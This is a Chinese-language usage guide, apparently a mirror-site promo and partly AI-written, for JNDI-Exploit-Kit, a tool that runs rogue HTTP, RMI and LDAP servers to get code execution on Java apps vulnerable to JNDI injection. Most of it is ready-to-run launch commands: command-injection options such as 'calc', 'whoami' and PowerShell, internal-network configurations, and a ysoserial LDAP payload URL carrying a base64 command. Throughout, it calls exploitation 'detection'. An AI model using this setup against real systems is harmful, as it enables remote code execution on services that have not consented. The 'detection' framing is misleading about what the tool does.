JNDI-Exploit-Kit 是一款专业的Java安全测试工具,专门用于检测和防护JNDI注入风险。无论您是安全测试新手还是资深专家,都能通过本指南快速掌握其核心用法。
【免费下载链接】JNDI-Exploit-KitJNDI-Exploitation-Kit(A modified version of the great JNDI-Injection-Exploit created by @welk1n. This tool can be used to start an HTTP Server, RMI Server and LDAP Server to exploit java web apps vulnerable to JNDI Injection)项目地址: https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit
5分钟快速上手体验
想要立即体验JNDI安全检测的功能?我们首先从最简单的示例开始:
# 下载项目代码 git clone https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit # 进入项目目录 cd JNDI-Exploit-Kit # 构建项目 mvn clean package # 启动安全检测服务 java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -J 127.0.0.1:8180 -R 127.0.0.1:1099 -L 127.0.0.1:1389执行上述命令后,您将看到工具自动生成了多个JNDI链接,这些链接适配不同的JDK版本。图中展示了完整的服务器启动状态和生成的检测链接。
核心功能深度解析
一键启动多协议服务
JNDI-Exploit-Kit 的强大之处在于能够同时启动三种服务:
- HTTP服务(端口8180):托管检测类文件
- RMI服务(端口1099):提供RMI协议支持
- LDAP服务(端口1389):提供LDAP协议支持
# 完整参数示例 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \ -C "whoami" \ # 要执行的系统检测命令 -J 192.168.1.100:8180 \ # HTTP服务器地址 -R 192.168.1.100:1099 \ # RMI服务器地址 -L 192.168.1.100:1389 \ # LDAP服务器地址 -A 192.168.1.100 # 服务器绑定地址动态命令执行与实时监控
当目标系统通过JNDI链接访问您的服务器时,工具会自动记录整个检测流程。上图展示了从JNDI查询到检测类加载的完整过程。
高级检测技巧与绕过策略
对于更复杂的环境,JNDI-Exploit-Kit 提供了多种高级功能:
序列化检测集成
# 使用YSOSerial payload进行复杂检测 ldap://127.0.0.1:1389/serial/CommonsCollections1/exec_global/[base64编码命令]YSOSerial 是业界知名的Java反序列化风险检测工具,JNDI-Exploit-Kit 与其深度集成,支持多种Payload类型。
实战场景配置指南
基础风险检测配置
对于初次接触JNDI注入风险的用户,建议从以下配置开始:
# 最简单的测试配置 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "calc" -J 127.0.0.1:8180企业级安全检测配置
在企业环境中进行安全检测时,需要更复杂的配置:
# 企业环境完整配置 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \ -C "powershell -c 'whoami'" \ # Windows系统检测命令 -J 10.0.0.100:8180 \ # 内网HTTP地址 -R 10.0.0.100:1099 \ # 内网RMI地址 -L 10.0.0.100:1389 # 内网LDAP地址针对不同JDK版本和Web框架,JNDI-Exploit-Kit 提供了针对性的检测策略。
关键源码模块解析
了解工具的核心实现有助于更好地使用:
服务器启动模块:src/main/java/run/ServerStart.java
- 负责初始化HTTP、RMI、LDAP服务
- 管理服务端口绑定和状态监控
协议服务实现:
- RMI服务:src/main/java/jndi/RMIRefServer.java
- LDAP服务:src/main/java/jndi/LDAPRefServer.java
检测载荷生成模块:src/main/java/ysoserial/payloads/
- 包含多种反序列化检测载荷
- 支持动态命令编码
常见问题与解决方案
服务启动失败排查
如果遇到服务启动问题,请检查:
- 端口是否被占用
- 防火墙设置是否阻止访问
- Java版本是否兼容
检测不成功原因分析
如果JNDI链接无法触发检测,可能是:
- 目标JDK版本过高(trustURLCodebase=false)
- 网络连通性问题
- 目标应用过滤了特殊字符
安全检测最佳实践
在使用JNDI-Exploit-Kit进行安全检测时,请遵循以下原则:
- 授权检测:确保在合法授权范围内使用
- 环境隔离:在测试环境中进行,避免影响生产
- 结果记录:详细记录检测过程和结果
- 及时修复:发现风险后及时通知相关团队修复
通过本指南,您已经掌握了JNDI-Exploit-Kit的核心用法。从简单的命令执行到复杂的检测策略,这个工具都能帮助您全面检测Java应用中的JNDI注入风险。
【免费下载链接】JNDI-Exploit-KitJNDI-Exploitation-Kit(A modified version of the great JNDI-Injection-Exploit created by @welk1n. This tool can be used to start an HTTP Server, RMI Server and LDAP Server to exploit java web apps vulnerable to JNDI Injection)项目地址: https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考